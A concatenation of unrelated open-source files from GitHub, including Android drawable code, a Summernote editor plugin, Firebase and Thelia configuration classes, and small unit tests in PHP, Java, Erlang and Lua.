mPaddingB[i] = rect.bottom;
return true;
}
return false;
}
@Override
public void scheduleDrawable(Drawable who, Runnable what, long when) {
final Callback callback = getCallback();
if (callback != null) {
callback.scheduleDrawable(this, what, when);
}
}
@Override
public void setAlpha(int alpha) {
final ChildDrawable[] array = mLayerState.mChildren;
final int N = mLayerState.mNum;
for (int i = 0; i < N; i++) {
array[i].mDrawable.setAlpha(alpha);
}
}
@Override
public void setColorFilter(ColorFilter cf) {
final ChildDrawable[] array = mLayerState.mChildren;
final int N = mLayerState.mNum;
for (int i = 0; i < N; i++) {
array[i].mDrawable.setColorFilter(cf);
}
}
@Override
public void setDither(boolean dither) {
final ChildDrawable[] array = mLayerState.mChildren;
final int N = mLayerState.mNum;
for (int i = 0; i < N; i++) {
array[i].mDrawable.setDither(dither);
}
}
public boolean setDrawableByLayerId(int id, Drawable drawable) {
final ChildDrawable[] layers = mLayerState.mChildren;
for (int i = mLayerState.mNum - 1; i >= 0; i--) {
if (layers[i].mId == id) {
if (layers[i].mDrawable != null) {
if (drawable != null) {
Rect bounds = layers[i].mDrawable.getBounds();
drawable.setBounds(bounds);
}
layers[i].mDrawable.setCallback(null);
}
if (drawable != null) {
drawable.setCallback(this);
}
layers[i].mDrawable = drawable;
return true;
}
}
return false;
}
public void setId(int index, int id) {
mLayerState.mChildren[index].mId = id;
}
public void setLayerInset(int index, int l, int t, int r, int b) {
ChildDrawable childDrawable = mLayerState.mChildren[index];
childDrawable.mInsetL = l;
childDrawable.mInsetT = t;
childDrawable.mInsetR = r;
childDrawable.mInsetB = b;
}
public void setOpacity(int opacity) {
mOpacityOverride = opacity;
}
@Override
public boolean setVisible(boolean visible, boolean restart) {
boolean changed = super.setVisible(visible, restart);
final ChildDrawable[] array = mLayerState.mChildren;
final int N = mLayerState.mNum;
for (int i = 0; i < N; i++) {
array[i].mDrawable.setVisible(visible, restart);
}
return changed;
}
@Override
public void unscheduleDrawable(Drawable who, Runnable what) {
final Callback callback = getCallback();
if (callback != null) {
callback.unscheduleDrawable(this, what);
}
}
}
| {
"pile_set_name": "Github"
} |
(function (factory) {
/* global define */
if (typeof define === 'function' && define.amd) {
// AMD. Register as an anonymous module.
define(['jquery'], factory);
} else if (typeof module === 'object' && module.exports) {
// Node/CommonJS
module.exports = factory(require('jquery'));
} else {
// Browser globals
factory(window.jQuery);
}
}(function ($) {
// pull in some summernote core functions
var ui = $.summernote.ui;
var dom = $.summernote.dom;
// define the popover plugin
var DataBasicPlugin = function (context) {
var self = this;
var options = context.options;
var lang = options.langInfo;
self.icon = '<i class="fa fa-object-group"/>';
// add context menu button for dialog
context.memo('button.databasic', function () {
return ui.button({
contents: self.icon,
tooltip: lang.databasic.insert,
click: context.createInvokeHandler('databasic.showDialog')
}).render();
});
// add popover edit button
context.memo('button.databasicDialog', function () {
return ui.button({
contents: self.icon,
tooltip: lang.databasic.edit,
click: context.createInvokeHandler('databasic.showDialog')
}).render();
});
// add popover size buttons
context.memo('button.databasicSize100', function () {
return ui.button({
contents: '<span class="note-fontsize-10">100%</span>',
tooltip: lang.image.resizeFull,
click: context.createInvokeHandler('editor.resize', '1')
}).render();
});
context.memo('button.databasicSize50', function () {
return ui.button({
contents: '<span class="note-fontsize-10">50%</span>',
tooltip: lang.image.resizeHalf,
click: context.createInvokeHandler('editor.resize', '0.5')
}).render();
});
context.memo('button.databasicSize25', function () {
return ui.button({
contents: '<span class="note-fontsize-10">25%</span>',
tooltip: lang.image.resizeQuarter,
click: context.createInvokeHandler('editor.resize', '0.25')
}).render();
});
self.events = {
'summernote.init': function (we, e) {
// update existing containers
$('data.ext-databasic', e.editable).each(function () { self.setContent($(this)); });
// TODO: make this an undo snapshot...
},
'summernote.keyup summernote.mouseup summernote.change summernote.scroll': function () {
self.update();
},
'summernote.dialog.shown': function () {
self.hidePopover();
}
};
self.initialize = function () {
// create dialog markup
var $container = options.dialogsInBody ? $(document.body) : context.layoutInfo.editor;
var body = '<div class="form-group row-fluid">' +
'<label>' + lang.databasic.testLabel + '</label>' +
'<input class="ext-databasic-test form-control" type="text" />' +
'</div>';
var footer = '<button href="#" class="btn btn-primary ext-databasic-save">' + lang.databasic.insert + '</button>';
self.$dialog = ui.dialog({
title: lang.databasic.name,
fade: options.dialogsFade,
body: body,
footer: footer
}).render().appendTo($container);
// create popover
self.$popover = ui.popover({
className: 'ext-databasic-popover'
}).render().appendTo('body');
var $content = self.$popover.find('.popover-content');
context.invoke('buttons.build', $content, options.popover.databasic);
};
self.destroy = function () {
self.$popover.remove();
self.$popover = null;
self.$dialog.remove();
self.$dialog = null;
};
self.update = function () {
// Prevent focusing on editable when invoke('code') is executed
if (!context.invoke('editor.hasFocus')) {
self.hidePopover();
return;
}
var rng = context.invoke('editor.createRange');
var visible = false;
if (rng.isOnData())
{
var $data = $(rng.sc).closest('data.ext-databasic');
if ($data.length)
{
var pos = dom.posFromPlaceholder($data[0]);
self.$popover.css({
display: 'block',
left: pos.left,
top: pos.top
});
// save editor target to let size buttons resize the container
context.invoke('editor.saveTarget', $data[0]);
visible = true;
}
}
// hide if not visible
if (!visible) {
self.hidePopover();
}
};
self.hidePopover = function () {
self.$popover.hide();
};
// define plugin dialog
self.getInfo = function () {
var rng = context.invoke('editor.createRange');
if (rng.isOnData())
{
var $data = $(rng.sc).closest('data.ext-databasic');
if ($data.length)
{
// Get the first node on range(for edit).
return {
node: $data,
test: $data.attr('data-test')
};
}
}
return {};
};
self.setContent = function ($node) {
$node.html('<p contenteditable="false">' + self.icon + ' ' + lang.databasic.name + ': ' +
$node.attr('data-test') + '</p>');
};
self.updateNode = function (info) {
self.setContent(info.node
.attr('data-test', info.test));
};
self.createNode = function (info) {
var $node = $('<data class="ext-databasic"></data>');
if ($node) {
// save node to info structure
info.node = $node;
// insert node into editor dom
context.invoke('editor.insertNode', $node[0]);
}
return $node;
};
self.showDialog = function () {
var info = self.getInfo();
var newNode = !info.node;
context.invoke('editor.saveRange');
self
.openDialog(info)
.then(function (dialogInfo) {
// [workaround] hide dialog before restore range for IE range focus
ui.hideDialog(self.$dialog);
context.invoke('editor.restoreRange');
// insert a new node
if (newNode)
{
self.createNode(info);
}
// update info with dialog info
$.extend(info, dialogInfo);
self.updateNode(info);
})
.fail(function () {
context.invoke('editor.restoreRange');
});
};
self.openDialog = function (info) {
return $.Deferred(function (deferred) {
var $inpTest = self.$dialog.find('.ext-databasic-test');
var $saveBtn = self.$dialog.find('.ext-databasic-save');
var onKeyup = function (event) {
if (event.keyCode === 13)
{
$saveBtn.trigger('click');
}
};
ui.onDialogShown(self.$dialog, function () {
context.triggerEvent('dialog.shown');
$inpTest.val(info.test).on('input', function () {
ui.toggleBtn($saveBtn, $inpTest.val());
}).trigger('focus').on('keyup', onKeyup);
$saveBtn
.text(info.node ? lang.databasic.edit : lang.databasic.insert)
.click(function (event) {
event.preventDefault();
deferred.resolve({ test: $inpTest.val() });
});
// init save button
ui.toggleBtn($saveBtn, $inpTest.val());
});
ui.onDialogHidden(self.$dialog, function () {
$inpTest.off('input keyup');
$saveBtn.off('click');
if (deferred.state() === 'pending') {
deferred.reject();
}
});
ui.showDialog(self.$dialog);
});
};
};
// Extends summernote
$.extend(true, $.summernote, {
plugins: {
databasic: DataBasicPlugin
},
options: {
popover: {
databasic: [
['databasic', ['databasicDialog', 'databasicSize100', 'databasicSize50', 'databasicSize25']]
]
}
},
// add localization texts
lang: {
'en-US': {
databasic: {
name: 'Basic Data Container',
insert: 'insert basic data container',
edit: 'edit basic data container',
testLabel: 'test input'
}
}
}
});
}));
| {
"pile_set_name": "Github"
} |
<?php
/*
+------------------------------------------------------------------------+
| Phalcon Framework |
+------------------------------------------------------------------------+
| Copyright (c) 2011-2012 Phalcon Team (http://www.phalconphp.com) |
+------------------------------------------------------------------------+
| This source file is subject to the New BSD License that is bundled |
| with this package in the file docs/LICENSE.txt. |
| |
| If you did not receive a copy of the license and are unable to |
| obtain it through the world-wide-web, please send an email |
| to [email protected] so we can send you a copy immediately. |
+------------------------------------------------------------------------+
| Authors: Andres Gutierrez <[email protected]> |
| Eduar Carvajal <[email protected]> |
+------------------------------------------------------------------------+
*/
class InitTest extends PHPUnit\Framework\TestCase
{
public function testExtensionLoaded()
{
$this->assertTrue(in_array('phalcon7', get_loaded_extensions()));
}
}
| {
"pile_set_name": "Github"
} |
/*
* Copyright 2019 Google
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#import <Foundation/Foundation.h>
NS_ASSUME_NONNULL_BEGIN
@class FIRInstanceIDBackupExcludedPlist;
@class FIRInstanceIDCheckinPreferences;
@class FIRInstanceIDCheckinStore;
@class FIRInstanceIDTokenInfo;
@class FIRInstanceIDTokenStore;
@class FIRInstanceIDStore;
@protocol FIRInstanceIDStoreDelegate <NSObject>
/**
* This is called when the store has decided to invalide its tokens associated with the
* previous checkin credentials. After deleting the tokens locally, it calls this method
* to notify the delegate of the change. If possible, the delegate should use this time
* to request the invalidation of the tokens on the server as well.
*/
- (void)store:(FIRInstanceIDStore *)store
didDeleteFCMScopedTokensForCheckin:(FIRInstanceIDCheckinPreferences *)checkin;
@end
/**
* Used to persist the InstanceID tokens. This is also used to cache the Checkin
* credentials. The store also checks for stale entries in the store and
* let's us know if things in the store are stale or not. It does not however
* acts on stale entries in anyway.
*/
@interface FIRInstanceIDStore : NSObject
/**
* The delegate set in the initializer which is notified of changes in the store.
*/
@property(nonatomic, readonly, weak) NSObject<FIRInstanceIDStoreDelegate> *delegate;
- (instancetype)init __attribute__((unavailable("Use initWithDelegate: instead.")));
/**
* Initialize a default store to persist InstanceID tokens and options.
*
* @param delegate The delegate with which to be notified of changes in the store.
* @return Store to persist InstanceID tokens.
*/
- (instancetype)initWithDelegate:(NSObject<FIRInstanceIDStoreDelegate> *)delegate;
/**
* Initialize a store with the token store used to persist tokens, and a checkin store.
* Used for testing.
*
* @param checkinStore Persistent store that persists checkin preferences.
* @param tokenStore Persistent store that persists tokens.
*
* @return Store to persist InstanceID tokens and options.
*/
- (instancetype)initWithCheckinStore:(FIRInstanceIDCheckinStore *)checkinStore
tokenStore:(FIRInstanceIDTokenStore *)tokenStore
delegate:(NSObject<FIRInstanceIDStoreDelegate> *)delegate
NS_DESIGNATED_INITIALIZER;
#pragma mark - Save
/**
* Save the instanceID token info to the store.
*
* @param tokenInfo The token info to store.
* @param handler The callback handler which is invoked when the operation is complete,
* with an error if there is any.
*/
- (void)saveTokenInfo:(FIRInstanceIDTokenInfo *)tokenInfo handler:(void (^)(NSError *))handler;
#pragma mark - Get
/**
* Get the cached token info.
*
* @param authorizedEntity The authorized entity for which we want the token.
* @param scope The scope for which we want the token.
*
* @return The cached token info if any for the given authorizedEntity and scope else
* returns nil.
*/
- (nullable FIRInstanceIDTokenInfo *)tokenInfoWithAuthorizedEntity:(NSString *)authorizedEntity
scope:(NSString *)scope;
/**
* Return all cached token infos from the Keychain.
*
* @return The cached token infos, if any, that are stored in the Keychain.
*/
- (NSArray<FIRInstanceIDTokenInfo *> *)cachedTokenInfos;
#pragma mark - Delete
/**
* Remove the cached token for a given authorizedEntity and scope. If the token was never
* cached or deleted from the cache before this is a no-op.
*
* @param authorizedEntity The authorizedEntity for the cached token.
* @param scope The scope for the cached token
*/
- (void)removeCachedTokenWithAuthorizedEntity:(NSString *)authorizedEntity scope:(NSString *)scope;
/**
* Removes all cached tokens from the persistent store. In case deleting the cached tokens
* fails we try to delete the backup excluded plist that stores the tokens.
*
* @param handler The callback handler which is invoked when the operation is complete,
* with an error if there is any.
*
*/
- (void)removeAllCachedTokensWithHandler:(nullable void (^)(NSError *error))handler;
#pragma mark - Persisting Checkin Preferences
/**
* Save the checkin preferences
*
* @param preferences Checkin preferences to save.
* @param handler The callback handler which is invoked when the operation is complete,
* with an error if there is any.
*/
- (void)saveCheckinPreferences:(FIRInstanceIDCheckinPreferences *)preferences
handler:(nullable void (^)(NSError *error))handler;
/**
* Return the cached checkin preferences.
*
* @return Checkin preferences.
*/
- (FIRInstanceIDCheckinPreferences *)cachedCheckinPreferences;
/**
* Remove the cached checkin preferences from the store.
*
* @param handler The callback handler which is invoked when the operation is complete,
* with an error if there is any.
*/
- (void)removeCheckinPreferencesWithHandler:(nullable void (^)(NSError *error))handler;
#pragma mark - Standard Directory sub-directory
/**
* Check if supported directory has InstanceID subdirectory
*
* @return YES if the Application Support directory has InstanceID subdirectory else NO.
*/
+ (BOOL)hasSubDirectory:(NSString *)subDirectoryName;
/**
* Create InstanceID subdirectory in Application support directory.
*
* @return YES if the subdirectory was created successfully else NO.
*/
+ (BOOL)createSubDirectory:(NSString *)subDirectoryName;
/**
* Removes Application Support subdirectory for InstanceID.
*
* @param error The error object if any while trying to delete the sub-directory.
*
* @return YES if the deletion was successful else NO.
*/
+ (BOOL)removeSubDirectory:(NSString *)subDirectoryName error:(NSError **)error;
@end
NS_ASSUME_NONNULL_END
| {
"pile_set_name": "Github"
} |
-module(sleeping_races_6).
-export([sleeping_races_6/0]).
-export([scenarios/0]).
scenarios() -> [{?MODULE, inf, dpor}].
sleeping_races_6() ->
ets:new(table, [public, named_table]),
ets:insert(table, {w, 0}),
ets:insert(table, {x, 0}),
ets:insert(table, {y, 0}),
ets:insert(table, {z, 0}),
spawn(fun() ->
ets:insert(table, {self(), ?LINE}),
ets:insert(table, {w, 1})
end),
spawn(fun() ->
ets:insert(table, {self(), ?LINE}),
ets:insert(table, {x, 1})
end),
spawn(fun() ->
ets:insert(table, {self(), ?LINE}),
ets:insert(table, {y, 1})
end),
spawn(fun() ->
ets:insert(table, {self(), ?LINE}),
ets:lookup(table, y),
ets:insert(table, {self(), ?LINE}),
ets:insert(table, {z, 1})
end),
spawn(fun() ->
ets:insert(table, {self(), ?LINE}),
[{y, Y}] = ets:lookup(table, y),
case Y of
0 -> ok;
1 ->
ets:insert(table, {self(), ?LINE}),
[{z, Z}] = ets:lookup(table, z),
case Z of
0 -> ok;
1 ->
ets:insert(table, {self(), ?LINE}),
[{x, X}] = ets:lookup(table, x),
case X of
0 -> ok;
1 ->
ets:insert(table, {self(), ?LINE}),
ets:lookup(table, w)
end
end
end
end),
block().
block() ->
receive
after
infinity -> ok
end.
| {
"pile_set_name": "Github"
} |
<?php
/*
*
* ____ _ _ __ __ _ __ __ ____
* | _ \ ___ ___| | _____| |_| \/ (_)_ __ ___ | \/ | _ \
* | |_) / _ \ / __| |/ / _ \ __| |\/| | | '_ \ / _ \_____| |\/| | |_) |
* | __/ (_) | (__| < __/ |_| | | | | | | | __/_____| | | | __/
* |_| \___/ \___|_|\_\___|\__|_| |_|_|_| |_|\___| |_| |_|_|
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU Lesser General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* @author PocketMine Team
* @link http://www.pocketmine.net/
*
*
*/
declare(strict_types=1);
namespace pocketmine\network\mcpe\protocol;
#include <rules/DataPacket.h>
use pocketmine\network\mcpe\NetworkSession;
class TransferPacket extends DataPacket{
public const NETWORK_ID = ProtocolInfo::TRANSFER_PACKET;
/** @var string */
public $address;
/** @var int */
public $port = 19132;
protected function decodePayload(){
$this->address = $this->getString();
$this->port = $this->getLShort();
}
protected function encodePayload(){
$this->putString($this->address);
$this->putLShort($this->port);
}
public function handle(NetworkSession $session) : bool{
return $session->handleTransfer($this);
}
}
| {
"pile_set_name": "Github"
} |
/* <!-- copyright */
/*
* aria2 - The high speed download utility
*
* Copyright (C) 2006 Tatsuhiro Tsujikawa
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*
* In addition, as a special exception, the copyright holders give
* permission to link the code of portions of this program with the
* OpenSSL library under certain conditions as described in each
* individual source file, and distribute linked combinations
* including the two.
* You must obey the GNU General Public License in all respects
* for all of the code used other than OpenSSL. If you modify
* file(s) with this exception, you may extend this exception to your
* version of the file(s), but you are not obligated to do so. If you
* do not wish to do so, delete this exception statement from your
* version. If you delete this exception statement from all source
* files in the program, then also delete it here.
*/
/* copyright --> */
#include "RecoverableException.h"
namespace aria2 {
std::shared_ptr<Exception> RecoverableException::copy() const
{
return std::make_shared<RecoverableException>(*this);
}
RecoverableException::RecoverableException(const char* file, int line,
const std::string& msg)
: Exception(file, line, msg)
{
}
RecoverableException::RecoverableException(const char* file, int line,
const std::string& msg,
error_code::Value errorCode,
const Exception& cause)
: Exception(file, line, msg, errorCode, cause)
{
}
RecoverableException::RecoverableException(const char* file, int line,
const std::string& msg,
const Exception& cause)
: Exception(file, line, msg, cause)
{
}
RecoverableException::RecoverableException(const char* file, int line,
const std::string& msg,
error_code::Value errorCode)
: Exception(file, line, msg, errorCode)
{
}
RecoverableException::RecoverableException(const char* file, int line,
int errNum, const std::string& msg)
: Exception(file, line, errNum, msg)
{
}
RecoverableException::RecoverableException(const char* file, int line,
int errNum, const std::string& msg,
error_code::Value errorCode)
: Exception(file, line, errNum, msg, errorCode)
{
}
} // namespace aria2
| {
"pile_set_name": "Github"
} |
<!DOCTYPE html>
<html>
<head>
<title>PoseNet - Camera Feed Demo</title>
<link rel="stylesheet" href="style.css">
<link rel="icon" href="../../favicon.ico" type="image/png" />
<!-- fonts -->
<link href="https://fonts.googleapis.com/css?family=Oswald" rel="stylesheet">
<link href="https://fonts.googleapis.com/css?family=Archivo+Black" rel="stylesheet">
<link href="https://fonts.googleapis.com/css?family=Playfair+Display" rel="stylesheet">
<link href="https://fonts.googleapis.com/css?family=Roboto+Mono" rel="stylesheet">
</head>
<body>
<div id="info" style='display:none'>
</div>
<div id="loading">
Loading the model...
</div>
<div id='main' style='display:none'>
<div id="record-button-container">
<button id="start-loop" contenteditable="false">Start recording loop</button>
<button id="stop-loop" contenteditable="false">Stop recording loop</button>
</div>
<video id="video" playsinline style=" -moz-transform: scaleX(-1);
-o-transform: scaleX(-1);
-webkit-transform: scaleX(-1);
transform: scaleX(-1);
display: none;
">
</video>
<div id="canvas-container">
<canvas id="livestream"></canvas>
<canvas id="output"></canvas>
</div>
<div id="loopingCanvas-container"></div>
</div>
<script src="js/main.js"></script>
</body>
</html>
| {
"pile_set_name": "Github"
} |
/**
* Copyright 2014 National University of Ireland, Galway.
*
* This file is part of the SIREn project. Project and contact information:
*
* https://github.com/rdelbru/SIREn
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.sindice.siren.analysis.filter;
import java.util.Random;
import org.apache.lucene.util.BytesRef;
import org.apache.lucene.util.IntsRef;
import org.apache.lucene.util.LuceneTestCase;
import org.junit.Test;
public class TestVIntSirenPayload extends LuceneTestCase {
VIntPayloadCodec codec = new VIntPayloadCodec();
@Test
public void testSimpleVInt()
throws Exception {
IntsRef ints = new IntsRef(new int[] { 12,43 }, 0, 2);
int pos = 256;
BytesRef bytes = codec.encode(ints, pos);
codec.decode(bytes);
IntsRef node = codec.getNode();
assertEquals(ints.ints[0], node.ints[node.offset]);
assertEquals(ints.ints[1], node.ints[node.offset + 1]);
assertEquals(pos, codec.getPosition());
ints = new IntsRef(new int[] { 3, 2 }, 0, 2);
pos = 2;
bytes = codec.encode(ints, pos);
codec.decode(bytes);
node = codec.getNode();
assertEquals(ints.ints[0], node.ints[node.offset]);
assertEquals(ints.ints[1], node.ints[node.offset + 1]);
assertEquals(pos, codec.getPosition());
ints = new IntsRef(new int[] { 0, 1 }, 0, 2);
pos = 0;
bytes = codec.encode(ints, pos);
codec.decode(bytes);
node = codec.getNode();
assertEquals(ints.ints[0], node.ints[node.offset]);
assertEquals(ints.ints[1], node.ints[node.offset + 1]);
assertEquals(pos, codec.getPosition());
}
@Test
public void testRandomVInt2()
throws Exception {
final Random r = LuceneTestCase.random();
for (int i = 0; i < 10000; i++) {
final int value1 = r.nextInt(Integer.MAX_VALUE);
final int value2 = r.nextInt(Integer.MAX_VALUE);
final IntsRef ints = new IntsRef(new int[] { value1,value2 }, 0, 2);
final int pos = r.nextInt(Integer.MAX_VALUE);
final BytesRef bytes = codec.encode(ints, pos);
codec.decode(bytes);
final IntsRef node = codec.getNode();
assertEquals(ints.ints[0], node.ints[node.offset]);
assertEquals(ints.ints[1], node.ints[node.offset + 1]);
assertEquals(pos, codec.getPosition());
}
}
@Test
public void testRandomVInt3()
throws Exception {
final Random r = LuceneTestCase.random();
for (int i = 0; i < 10000; i++) {
final int value1 = r.nextInt(Integer.MAX_VALUE);
final int value2 = r.nextInt(Integer.MAX_VALUE);
final int value3 = r.nextInt(Integer.MAX_VALUE);
final IntsRef ints = new IntsRef(new int[] { value1,value2,value3 }, 0, 3);
final int pos = r.nextInt(Integer.MAX_VALUE);
final BytesRef bytes = codec.encode(ints, pos);
codec.decode(bytes);
final IntsRef node = codec.getNode();
assertEquals(ints.ints[0], node.ints[node.offset]);
assertEquals(ints.ints[1], node.ints[node.offset + 1]);
assertEquals(ints.ints[2], node.ints[node.offset + 2]);
assertEquals(pos, codec.getPosition());
}
}
}
| {
"pile_set_name": "Github"
} |
<?php
namespace Thelia\Model;
use Thelia\Model\Base\ConfigQuery as BaseConfigQuery;
/**
* Skeleton subclass for performing query and update operations on the 'config' table.
*
*
*
* You should add additional methods to this class to meet the
* application requirements. This class will only be generated as
* long as it does not already exist in the output directory.
*
*/
class ConfigQuery extends BaseConfigQuery
{
protected static $cache = array();
/**
*
* Find a config variable and return the value or default value if not founded.
*
* Use this method for better performance, a cache is created for each variable already searched
*
* @param $search
* @param null $default
* @return mixed
*/
public static function read($search, $default = null)
{
if (array_key_exists($search, self::$cache)) {
return self::$cache[$search];
}
$value = self::create()->findOneByName($search);
self::$cache[$search] = $value ? $value->getValue() : $default;
return self::$cache[$search];
}
public static function write($configName, $value, $secured = null, $hidden = null)
{
$config = self::create()->findOneByName($configName);
if (null == $config) {
$config = new Config();
$config->setName($configName);
}
if ($secured !== null) {
$config->setSecured($secured ? 1 : 0);
}
if ($hidden !== null) {
$config->setHidden($hidden ? 1 : 0);
}
$config->setValue($value);
$config->save();
self::$cache[$configName] = $value;
}
public static function resetCache($key = null)
{
if ($key) {
if (array_key_exists($key, self::$cache)) {
unset(self::$cache[$key]);
return true;
}
}
self::$cache = array();
return true;
}
public static function getConfiguredShopUrl()
{
return ConfigQuery::read("url_site", '');
}
public static function getDefaultLangWhenNoTranslationAvailable()
{
return ConfigQuery::read("default_lang_without_translation", 1);
}
public static function isRewritingEnable()
{
return self::read("rewriting_enable") == 1;
}
public static function getPageNotFoundView()
{
return self::read("page_not_found_view", '404.html');
}
public static function getObsoleteRewrittenUrlView()
{
return self::read('obsolete_rewriten_url_view', 'obsolete-rewritten-url');
}
public static function useTaxFreeAmounts()
{
return self::read('use_tax_free_amounts', 'default') == 1;
}
public static function checkAvailableStock()
{
return self::read('check-available-stock', 1) != 0;
}
public static function getUnknownFlagPath()
{
return self::read('unknown-flag-path', '/assets/img/flags/unknown.png');
}
public static function getStoreEmail()
{
return self::read('store_email', null);
}
public static function getStoreName()
{
return self::read('store_name', '');
}
public static function getStoreDescription()
{
return self::read('store_description', '');
}
/**
* @since 2.3.0-alpha2
* @return int|null the store country id
*/
public static function getStoreCountry()
{
return self::read('store_country', null);
}
/**
* @since 2.3.0-alpha2
* @return bool
*/
public static function getNotifyNewsletterSubscription()
{
return self::read('notify_newsletter_subscription', 0) != 0;
}
/**
* @since 2.4
* @return bool
*/
public static function isCustomerEmailConfirmationEnable()
{
return (bool) self::read('customer_email_confirmation', false);
}
/**
* @return array a list of email addresses to send the shop's notifications
*/
public static function getNotificationEmailsList()
{
$contactEmail = self::getStoreEmail();
$list = preg_split("/[,;]/", self::read('store_notification_emails', $contactEmail));
$arr = [];
foreach ($list as $item) {
$arr[] = trim($item);
}
return $arr;
}
/* smtp config */
public static function isSmtpEnable()
{
return self::read('smtp.enabled') == 1;
}
public static function getSmtpHost()
{
return self::read('smtp.host', 'localhost');
}
public static function getSmtpPort()
{
return self::read('smtp.port');
}
public static function getSmtpEncryption()
{
return self::read('smtp.encryption');
}
public static function getSmtpUsername()
{
return self::read('smtp.username');
}
public static function getSmtpPassword()
{
return self::read('smtp.password');
}
public static function getSmtpAuthMode()
{
return self::read('smtp.authmode');
}
public static function getSmtpTimeout()
{
return self::read('smtp.timeout', 30);
}
public static function getSmtpSourceIp()
{
return self::read('smtp.sourceip');
}
public static function enableSmtp()
{
self::write('smtp.enabled', 1, 1, 1);
}
public static function disableSmtp()
{
self::write('smtp.enabled', 0, 1, 1);
}
public static function setSmtpHost($value)
{
self::write('smtp.host', $value, 1, 1);
}
public static function setSmtpPort($value)
{
self::write('smtp.port', $value, 1, 1);
}
public static function setSmtpEncryption($value)
{
self::write('smtp.encryption', $value, 1, 1);
}
public static function setSmtpUsername($value)
{
self::write('smtp.username', $value, 1, 1);
}
public static function setSmtpPassword($value)
{
self::write('smtp.password', $value, 1, 1);
}
public static function setSmtpAuthMode($value)
{
self::write('smtp.authmode', $value, 1, 1);
}
public static function setSmtpTimeout($value)
{
self::write('smtp.timeout', $value, 1, 1);
}
public static function setSmtpSourceIp($value)
{
self::write('smtp.sourceip', $value, 1, 1);
}
/* end smtp config */
/* Thelia version */
public static function getTheliaSimpleVersion()
{
$majorVersion = self::read('thelia_major_version');
$minorVersion = self::read('thelia_minus_version');
$releaseVersion = self::read('thelia_release_version');
return $majorVersion.'.'.$minorVersion.'.'.$releaseVersion;
}
public static function isShowingErrorMessage()
{
return (bool) static::read("error_message.show", false);
}
/**
* @param bool $v
*/
public static function setShowingErrorMessage($v)
{
static::write("error_message.show", (int) (@(bool) $v));
}
public static function getErrorMessagePageName()
{
return static::read("error_message.page_name");
}
public static function setErrorMessagePageName($v)
{
static::write("error_message.page_name", $v);
}
public static function getAdminCacheHomeStatsTTL()
{
return \intval(static::read("admin_cache_home_stats_ttl", 600));
}
/**
* check if Thelia multi domain is activated. (Means one domain for each language)
*
* @return bool
*/
public static function isMultiDomainActivated()
{
return (bool) self::read("one_domain_foreach_lang", false);
}
public static function getMinimuAdminPasswordLength()
{
return self::read("minimum_admin_password_length", 4);
}
}
// ConfigQuery
| {
"pile_set_name": "Github"
} |
print("testando $if's")
prog = tmpname()
function criaprog(s)
assert(writeto(prog))
assert(write(gsub(s, " %$", "$")))
assert(writeto())
end
criaprog([[
$if nil
$endinput
$end
$if a
x = 20
_b = 10
$if _b
y = 30
$else
y = 100
$end
$ ifnot c
z = 40
$end
$else
w = 1
$end
a = [[1
$if s
2
$ end
3]]
]])
x = nil; y = nil; z = nil; w = nil
s = nil
a = nil
dofile(prog)
assert(x == nil and y == nil and z == nil and w == 1)
assert(a == "1\n3")
x = nil; y = nil; z = nil; w = nil
a = nil; _b = 1; c = 1
s = 1
dofile(prog)
assert(x == nil and y == nil and z == nil and w == 1)
assert(a == "1\n2\n3")
x = nil; y = nil; z = nil; w = nil
a = 1; _b = nil; c = 1
dofile(prog)
assert(x == 20 and y == 100 and z == nil and w == nil)
print('+')
x = nil; y = nil; z = nil; w = nil
a = 1; _b = 1; c = 1
dofile(prog)
assert(x == 20 and y == 30 and z == nil and w == nil)
x = nil; y = nil; z = nil; w = nil
a = 1; _b = {}; c = nil
dofile(prog)
assert(x == 20 and y == 30 and z == 40 and w == nil)
remove(prog)
print('+')
$ ifnot 1
assert(nil)
$end
$ if nil
assert(nil)
$ end
a = nil
$ if 1
a = 1
$end
assert(a==1)
print('OK')
$if nil
bobagens que nao devem dar erro
$else
$endinput
aqui vem
$um monte de bobagens
$$$
e sem o $if!!!
| {
"pile_set_name": "Github"
} |
#
# Copyright 2017 Advanced Micro Devices, Inc.
#
# Permission is hereby granted, free of charge, to any person obtaining a
# copy of this software and associated documentation files (the "Software"),
# to deal in the Software without restriction, including without limitation
# the rights to use, copy, modify, merge, publish, distribute, sublicense,
# and/or sell copies of the Software, and to permit persons to whom the
# Software is furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
# THE COPYRIGHT HOLDER(S) OR AUTHOR(S) BE LIABLE FOR ANY CLAIM, DAMAGES OR
# OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
# ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
# OTHER DEALINGS IN THE SOFTWARE.
#
#
# Makefile for the drm device driver. This driver provides support for the
# Direct Rendering Infrastructure (DRI) in XFree86 4.1.0 and higher.
